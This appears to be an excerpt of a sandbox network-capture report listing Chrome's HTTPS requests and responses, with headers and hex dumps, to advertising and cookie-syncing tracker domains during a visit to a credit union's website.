2024-05-24 22:46:09 UTC	612	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:08 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4311655648632522917084; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:08 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4311655648632522917084; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:08 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-24 22:46:09 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.6	50039	142.250.185.196	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:08 UTC	845	OUT	GET /pagead/1p-conversion/1026675585/?random=144126916&cv=7&fst=1716590764895&fmt=3&value=0&label=eGG0CO2U2AIQgafH6QM&guid=ON&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIgcSxAiIBAUAB&pscrd=CLa55LqA4duPASITCIWczfaup4YDFeyLgwcdxDQGuTICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLOiRodHRwczovLzk3NDk4OTIuZmxzLmRvdWJsZWNsaWNrLm5ldC8&is_vtc=1&cid=CAQSKQDaQooLaFEJFEq1RuT_q_yfhie7XDJyD1rWqzhW8dvtHSOClo-ZMCX8&random=919291552 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:09 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:09 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:09 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.6	50037	18.239.69.3	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:08 UTC	684	OUT	GET /profiles_user/ProfilesuserServlet?at=20&dpi=2124307461&pcid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: sync.intentiq.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:09 UTC	1022	IN	HTTP/1.1 302 Content-Type: image/gif Content-Length: 43 Connection: close Date: Fri, 24 May 2024 22:46:09 GMT Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Sun, 24 May 2026 22:46:09 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Location: https://sync1.intentiq.com/profiles_user/ProfilesuserServlet?at=20&dpi=2124307461&pcid=4F23F6C2C1D4438DAA81302CEEAB3C45&ckls=true&ci=pSxpM8lU6E&nc=false&trid=-441508172 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Patent: https://www.almondnet.com/ip Set-Cookie: intentIQ=pSxpM8lU6E; Domain=.intentiq.com; Expires=Sun, 24 May 2026 22:46:09 GMT; Path=/; Secure; SameSite=None X-Cache: Miss from cloudfront Via: 1.1 58fc6cf05625e5ee74a288151d13c370.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: KQY6DYogOfyYkryYvFcdm0B35F4Zm3QnA37ZWrHJ87IMyiRrhxg8og==
2024-05-24 22:46:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.6	50040	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:09 UTC	683	OUT	GET /aa_px?sk=219933204892004054749 HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:09 UTC	498	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:09 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: /empty.gif Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:09 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.6	50043	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:09 UTC	661	OUT	GET /exelatem HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:09 UTC	641	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:09 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://loadm.exelator.com/load/?p=204&g=2191&simid=4F23F6C2C1D4438DAA81302CEEAB3C45&j=0 Expires: Thu, 23 May 2024 22:46:09 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:09 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.6	50041	46.228.174.117	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:09 UTC	650	OUT	GET /csync/RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003 HTTP/1.1 Host: sync.targeting.unrulymedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:09 UTC	387	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:09 GMT content-length: 43 set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003%22%7D; path=/; expires=Sat, 24 May 2025 22:46:09 GMT; domain=.targeting.unrulymedia.com; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" connection: close
2024-05-24 22:46:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 ff ff ff 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.6	50046	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:09 UTC	961	OUT	GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsIzpHi7crl-zwQBRgFIAMoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgZnb29nbGU.
2024-05-24 22:46:09 UTC	779	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:09 GMT Content-Length: 383 Connection: close server: Kestrel location: https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbluekai set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:09 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsIzpHi7crl-zwQBRIWCgdibHVla2FpEgsI7uSe5aqT_jwQBRgFIAQoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdibHVla2Fp; expires=Sat, 24 May 2025 22:46:09 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:09 UTC	383	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 72 65 64 69 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 25 32 46 74 72 61 63 6b 25 32 46 63 6d 66 25 32 46 67 65 6e 65 72 69 63 25 33 46 74 74 64 5f 70 69 64 25 33 44 62 6c 75 65 6b 61 69 22 3e 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d Data Ascii: Redirecting to: <a href="https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbluekai">https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.6	50047	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:09 UTC	940	OUT	GET /track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&google_error=3 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsIzpHi7crl-zwQBRgFIAMoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgZnb29nbGU.
2024-05-24 22:46:09 UTC	779	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:09 GMT Content-Length: 383 Connection: close server: Kestrel location: https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbluekai set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:09 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsImo2Z5qqT_jwQBRgFIAQoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdibHVla2Fp; expires=Sat, 24 May 2025 22:46:09 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:09 UTC	383	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 72 65 64 69 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 25 32 46 74 72 61 63 6b 25 32 46 63 6d 66 25 32 46 67 65 6e 65 72 69 63 25 33 46 74 74 64 5f 70 69 64 25 33 44 62 6c 75 65 6b 61 69 22 3e 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d Data Ascii: Redirecting to: <a href="https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbluekai">https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.6	50048	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:09 UTC	658	OUT	GET /yahoo HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:09 UTC	552	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:09 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT Connection: close Expires: Thu, 23 May 2024 22:46:09 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.6	50050	107.178.240.89	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:09 UTC	654	OUT	GET /user?du=24;csync=4F23F6C2C1D4438DAA81302CEEAB3C45;mimetype=img; HTTP/1.1 Host: fei.pro-market.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:10 UTC	765	IN	HTTP/1.1 302 Found Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" ANServer: gapp4.c.datonics-gcp-01.internal Set-Cookie: anProfile="1+1+1f=1+1g=1+1j=57:1+rs=s+rt=082E7BAF+s2=(se0hwx)"; Domain=.pro-market.net; Max-Age=15552000; Path=/; Secure; SameSite=None; Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 1 Jan 1990 0:0:0 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Location: https://fei.pro-market.net/user?du=24;csync=4F23F6C2C1D4438DAA81302CEEAB3C45;mimetype=img;sr Content-Type: image/gif Content-Length: 0 Date: Fri, 24 May 2024 22:46:09 GMT Via: 1.1 google Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.6	50053	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:09 UTC	662	OUT	GET /empty.gif HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:10 UTC	487	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:10 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT Connection: close Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:10 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.6	50049	192.132.33.69	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:10 UTC	1609	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22aafbf16b-f44b-4ef0-9b6d-fd431d3a508f%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A2%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCPmR_PKup4YDFT1vQQId598InA%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6213689762165%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D893322139%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerp [TRUNCATED] Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://9749892.fls.doubleclick.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:10 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJwW4YuWFg4oCJyqFcXU4nXW1JLsKO0BpCAnGrPjM5WOp5IgrIGr24CC5spQC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:45:41 GMT; path=/; secure; SameSite=None X-ServerName: Track004-iad Date: Fri, 24 May 2024 22:45:41 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.6	50052	18.239.69.99	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

